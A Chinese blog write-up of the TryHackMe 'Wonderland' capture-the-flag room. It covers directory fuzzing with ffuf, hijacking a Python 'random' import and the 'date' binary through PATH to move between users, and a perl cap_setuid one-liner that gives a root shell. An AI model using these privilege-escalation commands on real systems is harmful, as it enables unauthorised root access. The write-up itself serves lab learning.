tryhackem_wonderland
涉及,解密,扫描,横向移动,纵向移动
仙境
掉进兔子洞,进入仙境。
获得shell
解法一:
目录扫描
ffuf -u http://10.10.134.189/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c
ffuf -u http://10.10.134.189/r/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/b/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/b/i/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/b/i/t/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
然后查看源码,会发现一个依据。

解法二:
查看源码时会发现/img目录,进入之后

然后主页也是

跟着白色走

可能会产生疑问,但是当你扫一次目录后明白了
shell提权
alice
当你ls发现目录下为root.txt时,就会知道这并不简单,根据提示这里的一切都是颠倒的。
很容易想到cat /root/user.txt
thm{"Curiouser and curiouser!"}
find虽然啥也没找到,但是sudo -l找到一个

查看python文件会发现使用了random库,ok
捏造一个
echo 'import os;os.system("/bin/bash")' > random.py
chmod +x random.py
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

此时就来到了
rabbit

cat 查看

Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Sat, 08 Apr 2023 07:54:53 +0000
Ask very nicely, and I will give you some tea while you wait for him
很明显用到了date,此时只需修改PATH,伪造一个date即可提权
咳咳,之前的笔记:https://www.cnblogs.com/-Lucky-/p/17195932.html

执行即可

此时来到了
hatter
发现密码

尝试使用此密码 ssh 为我们提供一个完整的 shell 作为用户hatter
接下来就嘎了

getcap -r / 2>/dev/null 命令用于递归地查找整个文件系统上所有带有特殊权限的文件,并将其输出到标准输出中。
/usr/bin/perl5.26.1 文件是 Perl 语言的解释器程序。cap_setuid+ep 是它的安全标志,其中 ep 表示可执行程序具有特权执行(privileged execution)权限,即在执行该程序时,进程的执行者可以提升自己的特权等级,而 cap_setuid 表示程序具有设置用户 ID 权限(setuid)的能力。
很幸运地在:https://gtfobins.github.io/gtfobins/perl/
找到了利用方法

/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

此时为root
随机推荐
- java 企业级开发中常见的注入方式
1.Spring 注入有四种方式: ・set 注入 这是最简单的注入方式,假设有一个 SpringAction,类中需要实例化一个 SpringDao 对象,那么就可以定义一个 private 的 S ...
- Java:数据表的字段设计了默认值0不生效的原因
在数据表里给字段设置了默认值为0,但是在插入的时候不生效,数据表设计如下 通过数据表生成的实体类 查看代码 @Data @TableName(value = "user") @No ...
- SpringBoot——配置及原理
更多内容,前往IT-BLOG 一.Spring Boot全局配置文件 application.properties 与 application.yml 配置文件的作用:可以覆盖 SpringBoot ...
- Netty 心跳检测与重连机制
更多内容,前往个人博客 所谓心跳,即在 TCP 长连接中, 客户端和服务器之间定期发送的一种特殊的数据包,通知对方自己还在线,以确保 TCP 连接的有效性.心跳包还有另一个作用,经常被忽略,即:一个连 ...
- 重磅!Apache Hudi联合传智教育推出免费中文视频教程
基础介绍 Apache Hudi(简称:Hudi)使得您能在hadoop兼容的存储之上存储大量数据,同时它还提供两种原语,使得除了经典的批处理之外,还可以在数据湖上进行流处理.这两种原语分别是: Up ...
- C++ 测试框架 GoogleTest 初学者入门篇 乙
*以下内容为本人的学习笔记,如需要转载,请声明原文链接微信公众号「ENG八戒」https://mp.weixin.qq.com/s/aFeiOGO-N9O7Ab_8KJ2wxw 开发者虽然主要负责工程 ...
- keepalived的简单使用
原理简述 本篇主要学习keepalived配合nginx实现nginx的高可用, 也就是需要keepalived检测到nginx宕机时停用keepalived, 备用keepalived会自动接收过来 ...
- dev-tools
Maven配置依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId& ...
- day12:闭包函数&匿名函数(lambda)
闭包函数 闭包函数的定义: 如果内函数使用了外函数的局部变量并且外函数把内函数返回出来的过程 叫做闭包里面的内函数是闭包函数 一个简单的闭包函数示例: def songyunjie_family(): ...
- socket 到底是个啥
哈喽大家好,我是咸鱼 我相信大家在面试过程中或多或少都会被问到这样一个问题:你能解释一下什么是 socket 吗 我记得我当初的回答很是浅显:socket 也叫套接字,用来负责不同主机程序之间的网络通 ...